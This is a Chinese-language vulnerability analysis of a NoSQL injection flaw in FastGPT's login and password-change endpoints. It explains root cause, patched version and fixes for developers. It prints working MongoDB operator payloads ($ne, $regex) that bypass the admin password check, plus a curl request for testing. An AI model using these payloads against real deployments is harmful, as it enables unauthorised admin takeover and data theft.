文章总结: FastGPTAIAgent平台存在严重NoSQL注入漏洞CVE-2026-40351(CVSS9.8),攻击者可通过MongoDB操作符注入登录端点实现无密码管理员账户接管。漏洞根因是TypeScript类型安全在运行时失效,用户输入直接传入数据库查询。修复方案包括强制类型校验、Schema白名单校验和参数化查询,建议升级至4.14.9.5版本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,应用安全,安全开发,漏洞预警
FastGPT NoSQL注入致管理员登录绕过:CVE-2026-40351深度剖析
原创
Jack Stone Jack Stone
黑白之道
2026年5月12日 08:28 美国
在小说阅读器读本章
去阅读
导语:FastGPT AI Agent平台被披露存在严重NoSQL注入漏洞(CVE-2026-40351),CVSS满分9.8。攻击者利用MongoDB操作符注入登录端点,无需密码即可接管任意账户——包括root管理员。此漏洞揭示了一个被广泛忽视的安全盲区:TypeScript类型系统提供的编译时安全,在NoSQL数据库查询场景下形同虚设。
图片版权 华盟网
漏洞概览:一次无密码登录
图片版权 华盟网
FastGPT是一个面向AI Agent的开放平台,基于Node.js后端与MongoDB数据库构建。2026年5月,安全研究人员披露了两个关联的高危漏洞——CVE-2026-40351(CVSS 9.8)和CVE-2026-40352(CVSS 8.8),均属于NoSQL注入类型。
所谓NoSQL注入,与经典的SQL注入异曲同工,但攻击对象从关系型数据库换成了文档型数据库。在MongoDB中,查询语句并非纯字符串拼接,而是以BSON对象(即JSON对象)形式传入——这为攻击者提供了一个天然的攻击面。
为什么这件事值得关心? FastGPT是AI Agent开发的主流平台之一,企业用户用它搭建内部知识库、客服机器人和自动化工作流。管理员权限意味着攻击者可以操控所有AI Agent的行为,甚至将其武器化为数据泄露的出口。
漏洞机理:从一行 TypeScript 说起
FastGPT的登录端点(/api/v1/login)处理用户认证的逻辑如下:
// FastGPT 登录端点(简化示意)
const user = await db.users.findOne({
email: req.body.email,
password: req.body.password // ← 这里出问题了
});
表面看,这段代码没有任何问题——用email和password查询用户表,找到就返回token。但关键点在于:req.body.password 直接被传入了MongoDB查询,没有经过任何类型校验或值过滤。
在JavaScript/TypeScript生态中,类型断言(as)只在编译期存在,运行时完全不生效。攻击者于是可以提交如下payload:
{
"email": "[email protected]",
"password": { "$ne": "" }
}
MongoDB的 $ne 操作符含义是”不等于”。上述查询在数据库层面等价于:找一个 email 等于 [email protected][1] 且 password 不等于空字符串的记录——而任何设置了密码的用户都满足”password不等于空”这个条件。于是查询必然命中,认证绕过完成。
// 等效的 MongoDB shell 查询
db.users.find({
email: "[email protected]",
password: { $ne: "" }
});
// → 返回管理员记录,认证通过 ✅
这个payload有一个进阶变体:使用 $regex 操作符进行模糊匹配:
{
"email": "[email protected]",
"password": { "$regex": ".*" }
}
$regex: ".*" 表示匹配任意字符串——效果与 $ne: "" 相同,但绕过某些基于黑名单的防护过滤器。
攻击数据流
浏览器/攻击者
│
│ POST /api/v1/login
│ { "email": "admin@...", "password": { "$ne": "" } }
▼
FastGPT 登录端点 (Node.js + Express)
│
│ 未对 password 字段做类型校验
│ 直接传入 MongoDB findOne()
▼
MongoDB
│
│ 解析 $ne 操作符,匹配任意非空密码
│ 返回管理员用户记录
▼
FastGPT 签发 JWT Token
│
│ 攻击者获得管理员权限
▼
攻击者控制 AI Agent 平台
漏洞影响:不只是登录
CVE-2026-40351 允许未认证的远程攻击者以任意用户身份登录,其中就包括平台root管理员。而 CVE-2026-40352 则是同一攻击模式在密码修改端点的延伸——已认证攻击者可以通过同样的MongoDB操作符绕过”旧密码”验证,进而修改任意账户的密码。
具体危害包括:
| 权限级别 | 攻击者能力 | | — | — | | 普通用户 | 读取私有知识库、导出对话记录 | | 管理员 | 操控所有AI Agent、注入恶意Prompt、删除数据集 | | Root | 完全控制平台、部署后门Agent、横向渗透内网 |
FastGPT在企业内部知识库、客服系统和自动化工作流场景广泛部署,一旦被攻击者植入后门Agent,后续的供应链污染和数据外泄将难以追踪。
图片版权 华盟网
技术根因:类型安全 ≠ 运行时安全
这起漏洞的根因值得所有使用TypeScript(或任何有类型系统语言)的开发者深思。
TypeScript的类型断言(as关键字)和类型守卫,仅在编译时静态检查,不会在运行时执行任何验证。 当数据跨越系统边界(HTTP请求 → 代码逻辑 → 数据库查询)时,TypeScript的编译期安全网完全失效。
// ❌ 错误做法:信任前端传回的类型
const loginData = req.body as LoginRequest; // 编译通过,运行时无保护
await db.users.findOne(loginData); // 攻击者传对象而非字符串
// ✅ 正确做法:运行时显式验证
const email = String(req.body.email);
const password = String(req.body.password);
if (typeof email !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input type' });
}
await db.users.findOne({ email, password }); // 此时 password 一定是字符串
使用Mongoose等ODM时,内置的Schema校验可提供一层保护,但Schema校验同样不是银弹——某些场景下攻击者仍可构造绕过。
补丁与缓解措施
FastGPT已于版本 4.14.9.5 修复了CVE-2026-40351和CVE-2026-40352。修复方案包括:
- 在登录端点对password字段强制类型校验,确保其始终为字符串
- 对传入MongoDB查询的参数实施Schema白名单校验
- 引入参数化查询逻辑,禁止MongoDB操作符从用户输入传入
对于尚未升级的用户,官方明确表示不存在有效的临时缓解方案,升级是唯一修复路径。
验证方法:如何确认自己是否受影响
受影响版本: FastGPT < 4.14.9.5
验证步骤:
- 查看当前FastGPT版本:访问
/api/v1/system/info端点 - 发送恶意登录请求(仅限你自己的测试环境):
curl -X POST https://your-fastgpt/api/v1/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":{"$ne":""}}'
- 若返回
code: 200和有效的 JWT token,说明你确实存在漏洞 - 若返回
code: 401或code: 400,说明已修复
未来趋势预测
NoSQL注入并非新鲜攻击技术,但在AI Agent平台快速迭代的背景下,这类”经典问题”正在频繁复现。原因有三:
- AI平台优先追求功能迭代,安全审计跟不上发布节奏
- JSON-native API设计天然扩大了注入面——每次用户输入都可能是合法的JSON对象
- ODM/Mongoose等工具降低了MongoDB使用门槛,但并未自动解决注入问题
未来我们预计看到更多针对AI Agent平台的认证层攻击。开发团队需要在设计阶段就把输入校验作为架构决策,而不是事后补丁。
参考来源:
- https://www.yazoul.net/advisory/cve/cve-2026-40351-fastgpt-nosql-injection-grants-admin-login/[2]
- https://newclawtimes.com/articles/fastgpt-nosql-injection-cve-2026-40351-40352-agent-platform-admin-takeover/[3]
- https://www.aikido.dev/blog/axios-cve-2026-40175-a-critical-bug-thats-not-exploitable[4]
图片版权 华盟网
引用链接
[1][email protected]: mailto:[email protected]
[2]https://www.yazoul.net/advisory/cve/cve-2026-40351-fastgpt-nosql-injection-grants-admin-login/
[3]https://newclawtimes.com/articles/fastgpt-nosql-injection-cve-2026-40351-40352-agent-platform-admin-takeover/
[4]https://www.aikido.dev/blog/axios-cve-2026-40175-a-critical-bug-thats-not-exploitable
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:黑白之道 Jack Stone Jack Stone《FastGPT NoSQL注入致管理员登录绕过:CVE-2026-40351深度剖析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论